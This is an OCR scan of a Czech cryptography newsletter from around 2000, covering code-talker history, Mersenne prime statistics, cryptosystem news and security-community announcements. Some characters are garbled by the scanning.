SUB ST ANTI AL choulostivymi otazkami mirového postupu v Severnim

Irsku. Agent nebyl schopen fici, kde o pocita¢ skute¢né

REWARD prisel. Ztratu ohlasil az 4.3 s tim, ze se domniva, Ze jej

4 zanechal v taxiku, kterym se nechal odvézt z baru

Academic urgently secks information JJ| domi. MI6 udalost utajilo a pokusilo se anonymné
leading to the recovery of Phd vital rescarch
netes stvred on Toshiba 4000 Series CDS

Eeptop comiputer i Bk camying casc lost

ziskat laptop zpét. V novinach uvetejnili jeho pfesny
popis s tim, ze se jedna o pocita¢ ve kterém jsou
dalezit¢ védecké poznamky a zadali o jeho navraceni.
Tento trik se zdafil a pocita¢ byl vracen zpét 16-tého
bifezna.

wen banindio amn 4.'1.'-:'|'|il|:|i._'_ 3 Mareli (0,

Please coll 171 245 (053

£

Druhy pfipad se odehral 26-t¢ho biezna vecer.
Scénat je podobny. Pracovnik MI6 se pii cesté z prace zdrzel v jednom z podnikd. Také on
nevi piesn€, kde jeho pocita¢ v cené 2000 liber mohl zlstat. V laptopu byly tentokrate data,
ktera se tykaji detailii ¢innosti tajnych agentii pracujicich v ciziné.

Reditele MI6 Richarda Dearloveho &eka ponékud nepiijemna povinnost, ma podat vysvétleni
k témto ptipadiim piimo ministerskému predsedovi Tonymu Blairovi
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D. Opét INRIA !
Ing.Jaroslav Pinkava, CSc., AEC Brno

V ¢cisle 10/99 jsme Vas informovali o Uspéchu francouzské instituce INRIA (France's
National Institute for Research in Computer Science and Control), kde skupina vyzkumnikt
pii pouziti 740 pocitact z 20 zemi svéta v pribéhu 40 dnd rozbila elipticky kryptosystém
ECC2-97. Tento kryptosystém je soucasti vyzvy firmy Certicom (ECC Challenge) z roku
1997, kdy byla opublikovana celd serie tloh z rostouci obtiznosti (Cislo 97 oznacuje délku
pouzitého prvocisla).

Nyni byla vyteSena tiloha ECC2K-108:

http://cristal.inria.fr/~harley/ecdl7/

Pozndmka: V soucasnosti je pfipravovan projekt CABAL773 ftizeny Arjenem Lenstrou a
Bruce Dodsonem. Jeho cilem je faktorizace 2*773+1 pomoci algoritmu SNFS.
Podrobnosti http://www.lehigh.edu/~bad0/cabal773.html

E. Novy efektivni kryptosystém s verejnym klicem na svété?
Ing.Jaroslav Pinkava, CSc., AEC Brno

Na webovské strance http://www.ecstr.com/ se muzete seznamit s prvnimi informacemi
ohledné nového kryptosystému s vetejnym kli¢em, ktery autoii Arjen Lenstra a Eric Verheul
nazvali XTR. Kryptosystém vychazi z klasického Diffie-Hellmanova kryptosystému, avsak
velice chytrou cestou redukuje nezbytnou délku kli¢e. Cilem autort bylo nalézt metodu, ktera
ma délku klice priblizné stejnou jako je délka klice pro eliptické kryptosystémy (pii shodné
bezpecnosti), av§ak na bazi ulohy klasického diskrétniho logaritmu.
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F. CODE TALKERS

Dil 1. - Vznik nové Sifrové techniky
Mgr. Pavel Vondruska, NBU

CHOCTAW CODE TALKERS

Prvni sv€tova valka konci. Boje na zapadni front¢ vSak stile jeSté zuifi. Jsme v
zékopech na front¢ v Mouse-Argonne ve Francii. Francouzské jednotky spolecné s
pomocnym praporem americkych vojakl se ocitly v ¢asteném obkli¢eni. Jsou ve velice
Spatné pozici. Bez spojeni neni veleni a zde se to projevuje na koordinaci akci jednotlivych
oddili. Velitelé téchto oddilti pochopili, Ze Némci znaji jejich kody a jsou napojeni na jejich
telefonni linky. Veskeré zpravy predavaji spojky, které musi doslova pod stfelbou nepftitele
prebihat mezi jednotlivymi oddily. Byt takovou spojkou je zlé, ze Ctyt pokust je vzdy jeden
vojak zajat nebo pfimo zastfelen.Vzhledem k tomu je celd koordinace obrany ochromena.
Nejhorsi je, ze oddil nemiize komunikovat se svym hlavnim velenim, které lezi mimo
dokoncujici se obkliceni, tam spojky nemohou.

Velitel jednoho z oddili Lawrence pii kontrole pozic zaslechl dva vojaky Solomona
Lewisa a Mitchella Bobba, jak se spolu bavi ve svém rodném jazyce - jazyce
severoamerického indidnského kmene Choctaw. Napadla jej spasna myslenka, zavolal k sob¢
Bobba Mitchella a dikladné jej vyzpovidal. Dozvédél se presne, co potieboval. V praporu je
jesté nekolik indiani z tohoto kmene, vSichni mluvi mimo své feci 1 plynné anglicky. A co
bylo nejlepsi, Bobb véd¢l, ze na velitelstvi také slouzi dva indiani z jejich kmene.

Velitel Lawrence ihned pochopil, jak mlize vyuzit této informace. Indiany Choctaws
rozmistil mezi sva stanovisté a nechal zavolat na hlavni stan. Tento okamzik byl kriticky -
najde se nékdo, kdo pochopi, Ze se jednd o indidnskou fe¢ a sezene n¢koho ze slouzicich
indianti. VSe dobie dopadlo. Na velitelstvi byl pfiveden Smithville Ben Carterby .

Prvni "kodované" spojeni v indidnské feci bylo navdzano. Bobb pielozil plan svého
velitele do svého rodného jazyka a Ben zase pielozil zpét tento plan do anglictiny a ptedal na
hlavnim velitelstvi. Jazyk indianti byl chudy, a proto museli vSe opisovat (kulomet, letadlo,
tank, plyn). Jejich fe¢ vSak byla pro Némce zcela nepochopitelnd a tézko prepisovatelna do
hlaskové podoby. Velitelstvi souhlasilo a plan mohl zadit.

Némci sice zachytili novy kod, ale nemohli jej rozlustit. Behem 24 hodin se zacal na
celém useku tento indiansky "kod" pouzivat. Koordinace jednotlivych oddili se zacala
projevovat, velitelé jednotlivych usekli nyni mohli bez strachu z vyzrazeni popsat, kde je
kolik munice, lidi, kam bude zamétfen délostielecky uder a kdy bude potieba koordinovat
protititok. Behem 72 hodin mohl zacit protiutok, ktery Némce zahnal a obklicenou jednotku
vysvobodil.

Vyuziti tohoto jazyka bylo omezeno jen na tuto udélost a po vyrovnani fronty ptesli
Ameri¢ané a Francouzi zpét na svij kodovy systém.

Velitel Lawrence svolal vSech osm (podle jinych zdroji celkem ¢trnact) indiant z

kmene Choctaw a pod&koval jim, ulozil jim ml¢eni o celé¢ udalosti a tekl, Ze za svlij €in
dostanou medaile.
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Medaili se ale indiani nedockali, teprve v roce 1986 beéhem kazdorocnich indianskych
oslav "Choctaw Labor Day Festival" byla ud¢lena medaile rodindm téchto "mluvc¢ich v
koédech". Bylo to viibec prvni oficidlni uznani témto muzim. A teprve tehdy se svét dozvédel
o jejich osudech. Ttetiho listopadu 1989 pak francouzska vlada ocenila dilezitou roli téchto
muzl a udélila jim nejvyssi francouzské vyznamenani "Chevalier de L'Ordre National du
Merite".

O tom, jak vypadalo samotné "Sifrovani", nemame mnoho informaci. Jak jiz vime, fe¢
severoamerickych indianti neobsahovala vojenské terminy, a tak bylo pro uréité vyrazy
potieba vytvofit kod - opisny tvar. V memorandu veliteli 142.péchotniho pluku piSe
23.1.1919 general tricaté Sesté divize, Ze jako nékteré koédy byla pouzita tato spojeni :
délostielectvo - indianskou feci "velka pistole" , kulomet - indidnskou fe¢i "mala pistol
stiilejici rychle" a pro jednotlivé oddily se pouzivalo indianskou feci "jedna, dvé nebo tfi zrna
klasu".

Na zavér si dovolime uvést jména t€chto muzi, ktefi, aniz by o tom véd¢li, zacali psat
novou historii amerického Sifrovani. Jednalo se o novou metodu vyuziti kodi v nezndmém
nebo malo znamém jazyce. Zpravy byly pfedavany pouze telefonicky nebo radiem a pravé
zde se vyuzilo to, Ze pfepis indidnského jazyka vzhledem k atypické vyslovnosti je pro
netrénovaného Clovéka nesmirné tézky. Dalsi vyhodou byl velice rychly zptisob Sifrovani a
desifrovani. Celkem lze fici, Ze tak bylo dosazeno relativné slusné bezpecnosti.

Zatimco na tuto ptihodu se na mnoho let zapomnélo, velitelstvi americké armady tento
zpusob Sifrovani vyuzilo béhem druhé svétové valky. Indiani - "mluv¢i v kodech" byli
specidln€ vycviceni. D4 se fici, ze tato Sifrovaci metoda ovlivnila vysledek valky v Tichomofti
ve prospech USA.

Jména prvnich mluv¢ich v koédech ("Code Talkers")
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Albert Billy, Mitchell Bobb, Victor Brown, Ben Caterby, James Edwards, Tobias Frazer, Ben
Hampton, Solomon Louis, Pete Maytubby, Jeff Nelson, Joseph Oklahombi, Robert Taylor,
Calvin Wilson a Walter Veach.

COMANCHE CODE TALKERS

Je druhd svétova valka. Snad vlivem necekaného uspéchu, kterého dosahli koncem
prvé svétové valky indidni severoamerického kmene Choctaw, se rozhodlo veleni Signal
Corpsu americké armady do svych fad povolat komanc¢ské indiany. Sedmnact z nich bylo
vybrano a vycvi¢eno. Sami se dohodli na jistych kddech, kterymi oznacovali véci a situace,
které v jejich jazyce nebyly. Naptiklad posah-tai-vo (blaznivy bily muz) bylo koédové
oznaceni pro Adolfa Hitlera. Slovo letadlo v komancské feci jiz existovalo, ale bombardovaci
letadlo v tomto jazyce nebylo. Indiani se dohodli na oznaceni "t¢hotné letadlo" atd.

Tato jednotka byla nasazena v roce 1944 v Evropé€. Indidni byli jako spojafi rozmisténi
v poli a sva hlaSeni pfedavali pomoci vysilacky na velitelstvi, kde jiny indidn zase text
prevadél do anglické feci. Jejich hlaseni nebyla nikdy rozlusténa.

Na jejich piib¢hy z doby osvobozovani Evropy se zapomnélo, jejich jména jsou ale

znama. Tito muzi se jmenovali :
Charles Chibitty, Haddon Codynah, Robert Holder, Forrest Kassanavoid, Wellington
Mihecoby, Edward Nahquaddy, Perry Noyabad, Clifford Otitovo, Simmons Parker, Melvin
Permansu, Elhin Red Elk, Roderick Red Elk, Larry Saupitty, Morris (Sunrise) Tabbyetchy,
Tony Tabbytite, Ralph Wahnee a Willie Yackeschi.

Dtivod, pro€ se o nich po valce nemluvilo, je zcela prozaicky. Americka armada jesté
zacatkem Sedesatych let uvazovala o piipadném pouziti kédové fe€i v néjakém malo
pouzivaném indidnském jazyce.

Ocenéni se dockali az tietiho listopadu 1989, kdy francouzska vlada ocenila diilezitou
roli téchto muzii a udé€lila jim nejvyssi francouzské vyznamenani "Chevalier de L'Ordre
National du Merite". Tii posledni Zijici muzi z této skupiny (Charles Chibitty, Roderick Red
Elk a Forrest Kassanavoid) se zucastnili tohoto slavnostniho ceremonidlu a vyznamenani
jménem vSech pievzali.

Vyznam téchto 17-ti muzi ale nelze piecefiovat. Dokonce ani konstatovani, Ze se
Némcim nepodatilo jejich "Sifry" rozlustit, nic netfikd. Na front¢ se pouzivala spousta
riznych Sifrovych systémi. Spojeni s riznymi stupni veleni mélo odlisné Sifrovaci techniky,
odlisné Sifry se pouzivaly pro rizné stupné utajeni, podle naléhavosti se také pouzivala rizna
spojeni. Zachycenych kédovych zprav téchto indianit mélo deSifrovaci oddé€leni jen malé
mnozstvi a nevyplatilo se jim zabyvat se témito Siframi.

Jina situace byla v Tichomoii, kde indiani kmene Navajo byli nasazeni témef masove
a sehrali dulezitou roli v predavani tajnych zprav. Témto indidniim a jejich kodové feci je
vénovan druhy dil.

Priste :

I1. dil YIL-TAS GLOE-IH-DOT-SAHI UT-ZAH (code will success)
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G.

1.

Letem Sifrovym svétem

(Belgie). Konferenci potada IACR ve spolupraci s belgickou odbornou skupinou
COSIC. Vsechny potiebné informace najdete na adrese
http://www.esat.kuleuven.ac.be/cosic/eurocrypt2000Mezinarodni konference
EUROCRYPT 2000 se kona od 14.5 do 18.5 v Bruggach
Od soucasného organiza¢niho vyboru je velice mild zminka o loniské konferenci
EUROCRYPT 1999, ktera se konala v Praze a poradala ji ve spolupraci s IACR praveé
nase odborna skupina GCUCMP. Loiiskou konferenci dale pfipomina i mapa na webu
konference. Mapa predstavuje stat, kde se letosni konference koné a Praha zde slouzi
jako orientacni bod pro lofniské ticastniky

o
S
o
O
S
&
S
Ty

Ceska asociace pro &ipové karty (CACK) a Asociace firem pro ochranu informaci
(AFOI) poiada seminai ELEKTRONICKY PODPIS. Seminaf se kona 17.dubna 2000
od 9.00 hod tradi€né v hotelu OlSanka. Zavazna piihlaSka mhruby@mbox.vol.cz .
Dalsi informace na CACK, Budovatelska 4821, 730 05 Zlin.

Sifrovaci piistroj Enigma byl ukraden (CTK, 2.4.2000) . P¥imo z muzea v Bletchley
Parku (hrabstvi Buckinghamshire), kde za valky bylo legendarni anglické stfedisko
pro analyzu a lusténi némeckych tajnych koéda, byl odcizen Sifrovaci stroj Enigma.
prabéhu celé druhé svétové valky a o domnivali se o ném, ze jeho kod je nelustitelny.
Reditelka muzea v Bletchley Parku pfirovnala zmizeni stroje ke kradezi obrazu
francouzského impresionisty Cézanna z oxfordského muzea. Odhadovand cena
zafizeni je 300 000 USD.
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4. 8.mezindrodni veletrh informacnich a komunika¢nich technologii ComNet Prague
2000 se kona 23.-25.kvétna 2000 na vystavisti Praha (HoleSovice). Doprovodna
konference ComNet Prague 2000 se kona v hotelu Diplomat. Obsah ptfednasek se
dotyka tématu elektronického obchodu a jeho bezpecnosti.
http://www.comnet-prague.cz

5. Na adrese http://zive.cpress.cz/forum/vypsat.asp/id=11073&all=true najdete zajimavy
¢lanek od Jana Varhary : Jak mi v Americe vybrali uéet z ¢eské karty. Clanek vysel
21.3.2000. S chuti jsem si precetl i nasledujici obsahlou diskusi, ktera dilem poukazuje
na opravdové problémy kolem pouzivani kreditnich karet a dilem ukazuji znalosti a
predstavy "primérného" uzivatele internetu. Doporucuji piecist.

6. Z adresy ftp://entropia.com/gimps/prime4.txt si mizete stdhnout dosud nejvetsi znamé
prvocislo 2° 7 31 (t¥icaté osmé Mersennovo prvoéislo). Toto prvoéislo je prvé
megaprvocislo, tedy prvocislo, které ma vice jak milion cifer (pfesné 2 098 960!),
druhé nejvétdi znamé prvocislo 2° ' ¥77-1 (tficaté sedmé Mersennovo prvoéislo) ma
"jen" 909 526 cifer. Toto prvocislo Vam pfi tisku (bold 10) zabere cca 110 stranek A4.
Dalsi informace http://homepages.go.com/~joekorovin/Mersenne.html

7. Vysledky dosazené v jednotlivych projektech tykajicich se hledani velkych prvocisel
lze najit na nasledujicich adresach :

Prvociselnd dvojcata : http://www.serve.com/cnash/twinsearch.html
Cunningham project : http://www.cerias.purdue.edu/homes/ssw/cun/index.html
Mersennova prvocisla : http://homepages.go.com/~joekorovin/Mersenne.html
Faktorialova prvocisla : http://www.hut.fi/~nkuosa/primeform

Trojcata CC2K : http://www.geocities.com/Area51/Portal/3360/

Dvojita Mersenova ¢isla: http://www.ltkz.demon.co.uk/ar2/mm61.htm

Lucas-Lehmeruv test : http://www.utm.edu/research/primes/notes/proofs/LucasLehmer.html

8. Zajemci o informace na téma uvolnéni vyvozu silné kryptografie najdou fadu zajimavych
dat v ¢lanku : Cryptography and Liberty 2000, An International Survey of Encryption
Policy http://www?2.epic.org/reports/crypto2000/overview.html

9. 30.3.2000 byl na webu "zivé" uvefejnén clanek Michala A.Valaska ,, Co by mél znat
spravny hacker na internetu®. Doporucuji také precist vSechny pirispévky
v doprovodné diskusi. http://zive.cpress.cz/r-art.asp/id=11362

10. Kerberos (client-server, autentizac¢ni protokol) je nyni soucasti Windows 2000. Microsoft
bohuzel jeho implementaci tviiréim zplisobem upravil, takze sice dosdhl nekompatibility
s jinymi servery nez se softwarem od Microsoftu, ale souc¢asné diky tomu nikdo nemuze
zarucit, Ze tato Uprava je bezpecnd ...
Bruce Schneier , http://www.counterpane.com/crypto-gram-0003.html
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Informacni seSit GCUCMP
Crypto-World 5/2000

Pripravil : Mgr.Pavel Vondruska,
¢len GCUCMP, IACR, ISACA.
Sesit je rozesilan registrovanym ¢tenaiam,
registrace na adrese pavel.vondruska@post.cz , subject : Crypto-World
seSity najdete také na adrese www.mujweb.cz/veda/gcucmp
(107 e-mail vytisku)
Uzavérka 7.5.2000
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A. Statisticky rozbor prvého znamého megaprvocisla
RNDr.Petr Tesai (I.CA) , Mgr.Pavel Vondruska (NBU)

Na adrese ftp://entropia.com/gimps/prime4.txt je dostupné dosud nejvétsi znamé
prvogislo 2°°72°%_1 . Toto prvoéislo je prvé znamé megaprvoéislo, tedy prvoéislo, které ma
vice jak milion cifer (piesnd 2 098 960!), druhé nejvétsi znamé prvocislo 2° ®' 377-1 (t¥icaté
sedmé Mersennovo prvocislo) ma "jen" 909 526 cifer. Pro lepsi pfedstavu o jeho velikosti
uvedeme, ze pii tisku (bold 10) zabere cca 110 stranek A4. Pii zapisu do fady, kde jedna
Cislice je Sirokd 1 mm a mezery mezi Cislicemi zanedbdme, by bylo toto Cislo vice jak 2 km
dlouhé. Cislo patii do souboru Mersennovych prvoéisel a je pravdépodobné tficatym osmym
nebo tficitym devatym prvocislem z tohoto souboru. Dalsi podrobnosti jsou uvedeny v
nasledujicim piehledovém ¢lanku Mersennova prvocisla.

Rozhodli jsme se podrobit toto megaprvocislo statistickému rozboru. Otazkou tedy
bylo, zda vykazuje ve svém dekadickém vyjadieni n¢jaké statistické nepravidelnosti.

Divejme se na nase prvocislo jako na posloupnost znakti nula az devét. Celkova délka této
posloupnosti je 2098960 ¢Eislic.

Vyskyt jednotlivych ¢islic je nasledujici

nou — 210190’ nlu — 210744’ u2n — 209678, u3n — 209382, "4" — 2098329
"5"=209863, "6" =210356, "7"=209314, "8" =209961, "9" =209640.

Testujme hypotézu o rovnomérném vyskytu jednotlivych ¢islic pomoci zndmého y-kvadrat
kritéria. Hodnota statistiky je 8.302 . Kriticka hodnota na hladin¢ vyznamnosti 0.05 je 16.919
, a proto miiZzeme na této hladiné vyznamnosti pfijmout hypotézu o rovhomérném rozdéleni
vyskytu vSech ¢islic v nasem prvocislu.

Obdobn¢ testujme hypotézu o rovnomérném rozdéleni vyskytu vSech moznych dvojic ¢isel
(00 az 99) ¢ili tak zvanych bigrami. Retézova varianta bere kazdé ¢islo dvakrat - jednou na
niz§im misté bigramu, jednou na vyss§im misté dalsiho bigramu (samoziejmé kromé prvniho a
posledniho ¢isla posloupnosti, kterd se vyskytuji pouze v jednom bigramu). Netetézova
varianta bere kazdé Cislo pouze jednou - bigramy se nepiekryvaji a v naSem ptipad¢ je jich
presné 1049480. Hodnoty y-kvadrat kritéria a ptislusné kritické hodnoty na hladin€ 0.05 jsou:

Retézové bigramy Neftetézové bigramy
Hodnota statistiky = 79.308 77.356
Kriticka hodnota = 113.145 123.225

Obé hypotézy se tedy na hladin€ vyznamnosti 0.05 pfijimaji.

V kryptologii se jako kritérium nerovnomeérnosti pouziva index coincidence ( IC ), coz je
zhruba feceno - soucet kvadrath relativnich cetnosti vSech hodnot znaku. Rovnomérné
rozdelena posloupnost z deseti riznych znaki mé IC okolo hodnoty 0.1. Pro nasi posloupnost
bylo vypocteno IC = 0.999999667. Kritickd hodnota na hladiné¢ vyznamnosti 0.05 je
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0.1000003325. Lze tedy konstatovat, ze i podle tohoto kritéria je pfijata hypotéza o
rovnomérném rozdéleni vyskytu jednotlivych Cislic.

Velmi zajimavou charakteristikou je vyskyt opakovani rizné dlouhych podretézct. Z teorie
nahodnych vybéra s vracenim miizeme zhruba odhadnout pravdépodobnost vyskytu alespoii
jednoho opakovani uréené délky ve sledované posloupnosti.

Néhodny vybér s vracenim :

Délka opakovaného fetézce Pravdépodobnost alespoii jednoho opakovani
10 1-2.1E-96
11 0.99999999973
12 0.8895
13 0.1977
14 0.0218
15 0.0022
Testované megaprvocislo:
Délka opakovaného fetézce Pocet opakovani
10 161
11 13
12 2
13 1
14 a vice 0

Nejdelsi opakujici se fetézecje "7606878522152".
Prvni vyskyt je na 23896 fadu ( umisténi nejpravéjsi dvojky ). Druhy vyskyt je na 379360
radu.

Shoda s teorii ndhodnych vybért s vracenim je viditelné dobra.

Zavér :
Nejvétsi znamé prvocislo interpretované jako posloupnost znakii nula aZ devét se jevi
jako niahodna posloupnost s rovnomérnym rozdélenim vyskytu jednotlivych znaki.
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B. Mersennova prvocisla
Mgr.Pavel Vondruska (NBU)

Mersennova prvocisla jsou prvocisla specidlniho tvaru, a to M, = 2" - 1. Aby ¢islo uvedeného
tvaru mohlo byt prvocislo, musi byt exponent n prvocislem. Jedna se ovSem jen o podminku
nutnou.

Zacatkem 17-tého stoleti vyslovil francouzsky matematik (a teolog) Marin MERSENNE
(1588 - 1648) hypotézu, Ze pro n mensi jak 258 jsou €isla tvaru M, = 2" - 1 prvogisly, pravé
pro n=1,2,3,5,7,13,17, 19, 31, 67, 127, 257

Prvocisla tvaru M, = 2" - 1 se v soucasné dobé na jeho podest nazyvaji Mersennova prvocisla.

Mersennova prvocisla se zapisuji vzestupné do tabulky a je zvykem je oznaCovat poradovym
Cislem v této tabulce. Tabulka dosud nalezenych Mersennovych prvocisel je uvedena jako
ptiloha k tomuto ¢lanku.

Vratme se k Mersennové hypotéze. Hypotéza byla v nasledujicich letech testovana mnoha
matematiky a postupné se podafilo odstranit chyby, které obsahovala.

V intervalu 1-257 byla vynechana celkem 3 Mersennova prvocisla a naopak dvé z uvedenych

Cisel jsou Cisla slozena:

- vynechana byla devaté, desaté a jedenacté Mersennovo prvocisla , tedy Mg , Msga Mjo7
(pfigemz pro n=61, Mg, =2°' - 1 bylo dokazano , Ze je prvoéislo teprve v roce 1883)

- slozena Cisla jsou naopak Mgy a Masy ( Cislo Mg; = 287 _1=193707721*761838257287
rozlozil Cole roku 1903)

Dulezitym kritériem, zda Mersennovo Ccislo je nebo neni prvocislo, je Lucas (1870)-
Lehmeriiv (1930) test. Sila tohoto testu je mimo jiné v tom, Ze jej lze snadno realizovat
pomoci vypocetni techniky.

Lucas-Lehmertv test :

Necht' n je liché prvocislo. Pak je M, prvocislem pravé tehdy, kdyz déli ¢islo S(n-2), kde
S(0)=4 , S(k+1) = S(k) - 2.

Podrobnosti (v€éetné vysvétleni pouzitého znaceni) naleznete napf. na URL adrese
http://www.utm.edu/research/primes/notes/proofs/LucasL.ehmer.html

Koncem roku 1998 bylo nalezeno celkem 37 Mersennovych prvocisel. Na zakladé
rozboru vSech téchto prvocisel byla vytvofena hypotéza o jejich rozlozeni a byly
experimentalné urCeny parametry linearni funkce, kterd urcuje zavislost exponentu n
Mersennova cisla na jeho potfadi v tabulce (tzv "linedrni hypotéza"). Z této "linearni
hypotézy" se dalo ocekavat, Zze tficaté osmé¢ Mersennovo prvocislo bude mit exponent
piiblizné¢ roven 4,699,385. Pfi systematickém prohledavani vhodnych kandidati bylo v
prosinci roku 1999 objeveno nové Mersennovo prvocislo (v soucasné dobé oznacovano jako
tticaté osmé). Jenze jeho exponent je 6972593 , coz by bylo v dobré shod¢ pro tiicaté devaté
Mersennovo prvoéislo (pfedpovéd z linearni hypotézy je : 6,935,171). Rada odborniki se
tedy domniva, ze pii prohledavani prostoru kandidata na tficaté osmé Mersennovo prvocislo
se podaftilo ptislusnou hodnotu "pieskocCit" . Na projektu se podilely stovky dobrovolnikii,
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kteti hypotézu testovali na svych PC a je tedy mozné, Zze néktery z dobrovolnikli "selhal". V
soucasné dob¢ je cely prostor znovu prohledavan. V kazdém piipad¢ posledni objevené
Mersennovo prvocislo je nejvétsim znamym prvocislem a je prvym megaprvocislem - tedy
prvocislem, které ma ve svém dekadickém zépisu vice jak milion cifer.

Priloha 1 : "Linearni hypotéza" rozloZeni Mersennovych prvocisel
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% log, n — 1.462 With Respect to N, and the Line y = x
(G je Eulerova gamma funkce (0.5772156649...) a e je zaklad pfirozeného logaritmu (2.718281828...) )

Ocekavané hodnoty exponentu n pro n-té Mersennovo prvocislo, vypoctené podle
"Linearni hypotézy"

N exponent n v 2"-1
38 4,699,385

39 6,935,171

40 10,234,658

41 15,103,913

42 22,289,772

43 32,894,385

44 48,544,264

45 71,639,751

50 501,458,270

55 3,510,067,986
60 24,569,496,568
65 171,979,620,925

Priloha 2 : Tabulka vSech dosud nalezenych Mersennovych prvocisel
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PofadiN |n Cifer Rok Objevil

1 1 1 - Starovéké Recko
2 3 1 - Starovéké Recko
3 5 2 - Starovéké Recko
4 7 3 - Staroveéké Recko
5 13 4 1456 ?

6 17 6 1588 Cataldi

7 19 6 1588 Cataldi

8 31 10 1772 Euler

9 61 19 1883 Pervusin

10 89 27 1911 Powers

11 107 33 1914 Powers

12 127 39 1876 Lucas

13 521 157 1952 Robinson

14 607 183 1952 Robinson

15 1279 386 1952 Robinson

16 2203 664 1952 Robinson

17 2281 687 1952 Robinson

18 3217 969 1957 Riesel

19 4253 1281 1961 Hurwitz

20 4423 1332 1961 Hurwitz

21 9689 2917 1963 Gillies

22 9941 2993 1963 Gillies

23 11213 3376 1963 Gillies

24 19937 6002 1971 Tucker

25 21701 6533 1978 Noll,Nickel

26 23209 6987 1979 Noll

27 44497 13395 1979 Nelson, Slowinski
28 86243 25962 1982 Slowinski

29 110503 33256 1988 Colquitt, Welsh
30 132049 39751 1983 Slowinski

31 216091 65050 1985 Slowinski

32 756839 227832 1992 Slowinski, Gage
33 859433 258716 1994 Slowinski, Gage
34 1257787 |378623 1996 Slowinski, Gage
35 1398269 |420921 1996 GIMPS

36 2976221 |895932 1997 GIMPS

37 3021377 |909,526 1998 GIMPS

38 6972593 12,098,960 |1999 GIMPS, Cray
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C. Quantum Random Number Generator

RNDr. Jaroslav HRUBY, CSc., GCUCMP
Abstract

Cely ¢lanek je uveden jako zvlastni priloha k tomuto seSitu - soubor QNG.PS.
Priloha je distribuovana spolecné se seSitem 5/2000. Zde jen upoutiavka v podobé malé

ukazky.

A physical quantum random number generator based on the random events which are realized
by the choice of single photons between the two outputs of a beamsplitter is presented.

The data generated from this quantum generator sucessfully passed DIEHARD statistical tests
and also cryptological tests (QUT Brisbane, Information research centre) for measuring the
randomness of large binary streams. The author of the DIEHARD statistical tests G.Marsaglia
(http://stat.fsu.edu/geo )

The research in this direction is in progress. We conclude, we demonstrated a random number
generator using a basic quantum process with super small correlation between succesive bits.
Such generator behaves like a perfect random source, which is better then other for us
known physical random sources.
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D.SdruZeni pro bezpeCnost informacnich technologii a
informacnich systému (BITIS)

Registrace Stanov sdruzeni uskuteénilo MV CR vlednu 2000. Prvé valné hromady
(12.4.2000), kde byl zvolen vybor sdruzeni, se zucastnilo pies 20 odborniki v této oblasti.

Plny nézev tohoto nového ob¢anského sdruzeni je :
Sdruzeni pro bezpecnost informacnich technologii a informacnich systémt (déale jen BITIS).

Cilem a poslanim sdruZeni je

a) sdruzit odborniky z oblasti bezpecnosti informac¢nich technologii a informacnich
systémd, kteti chtéji rozvijet komplexni ochranu a bezpecnost informaci a dat vIT a
IS, v telekomunikacni, vypocetni, fyzické, administrativni, legislativni a moraln¢-
etické oblasti

b) organizovat pro Cleny odborné aktivity

¢) poradat presentacni aktivity pro SirSi odbornou vetejnost

d) je chranit spole¢né zajmy clenii pred nekompetentnim a neetickym.chovanim

e) je zprostiedkovat nékteré souvisejici ¢innosti, k nimz napf. patii vypracovani posudkt
a stanovisek, konzultace k vyhleddvani dodavateld sluzeb, know-how a
bezpecnostnich produktii a styk a spoluprace s dal§imi relevantnimi subjekty, ¢eskymi
1 zahrani¢nimi.

Zakladni odbornou aktivitou BITIS jsou interni seminafe z oblasti informaéni bezpecnosti,
které slouzi zejména k diskusi a vyméné nézord k aktudlnim odbornym problémim a s tim
souvisejicim legislativné-pravnim aspektim .

K prezentaci ¢innosti BITIS pro ostatni odbornou vefejnost (véetné manazeri) slouzi vetejné
seminare o informac¢ni bezpecnosti a dalsi odborné¢ zaméfené akce.

Prvou vetejnou akci tohoto sdruzeni bylo spoluporadani prednasky vyznamného izraelského
kryptologa prof. Beni Arazi, "Architektura pro implementaci algoritmli kryptografie
eliptickych kiivek". Pfednaska se konala dne 20. dubna 2000 od 16.00 hod. ve velké zasedaci
sini rektoratu CVUT v Praze 6 a odbératelé sesitu GCUCMP byli o ni véas informovani
pomoci e-mailu.

Predsedou sdruzeni byl zvolen : Doc. Ing. Jiti PRIBYL, CSc.

Sekretéf : Doc. Oldfich PEKAREK, CSc.

Pokladnik : Mgr. Pavel VONDRUSKA

Dalsimi Cleny vyboru byli zvoleni :
Ing. FrantiSek HRON, Ing. FrantiSek FENCL,
Mgr. Jan JANECKO, Ing.Jindiich KODL,CSc

Sidlem BITIS je Katedra telekomunikaéni techniky FEL CVUT v Praha 6 - Dejvice,
Technicka 2, PSC 166 27.

V nejblizsi dobé bude ztizena informacni www stranka BITIS. Tato adresa bude zvefejnéna v
nekterém z piistich sesitu.
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E. CODE TALKERS
Dil II. - YIL-TAS GLOE-IH-DOT-SAHI UT-ZAH

(code will success)
Mgr. Pavel Vondruska, NBU

Guadalcanal, Tarawa, Peleliu, Iwo Jima - mista, kde se za druhé svétové valky
proslavili indidni z kmena Navajo, kteti zde ve sluzbach amerického ndmotnictva plisobili
jako "code talkers" (mluv¢i v kddech). Prenaseli dilezité strategické zpravy pomoci radia
nebo telefonu, slouZili ve viech esti namoinich divizich americké armady. Sifrové zpravy,
které piedavali, se nepodafilo Japonctim nikdy vylustit. Séf japonské lustitelské sluzby za
druhé svétové valky, general Seizo Aisue, prohlésil, Ze za druhé svétové valky se jejich sluzbé
podaftilo rozlustit postupné vSechny Sifry amerického letectva a ¢ast Sifer namotnictva, ale
Sifram namotnictva, které pouzivalo v radiovém provozu, nerozuméli a nevédeli, co s nimi.
zbrani v Pacifiku byli pravé indians$ti "mluvéi v kodech" z kmene Navajo. Jesté vice jak
dvacet let po valce byly nasledujici informace o vycviku a nasazeni téchto indiani
klasifikované stupném tajné a vetejnost o vynikajicich Gspésich téchto muzii nic nevédéla. V
soucasné dob¢ jsou jiz vSechny informace uvolnény, vCetné¢ pivodni kodové knihy, kterou
indiani za valky pouzivali. Nasledujici fadky jsou vénovany vSem tém, kteti za valky pomohli
své vlasti a museli po dlouhou dobu ziistat v anonymité bez jakéhokoliv vefejného ocenéni.

S mysSlenkou vyuzit indidny z kmene Navajo pro pienos tajnych informaci pfisel
Philip Johnston. Byla to ta spravna osoba ve spravné dobé na spravném misté. Bojoval v prvé
svétoveé valce a védel, ze zde bylo s uspéchem vyuzito indiana k pfenosu tajnych zprav. Jeho
otec byl misionaf v indianské rezervaci kmene Navajo. Jako dit¢ se zde naucil plynné¢ mluvit
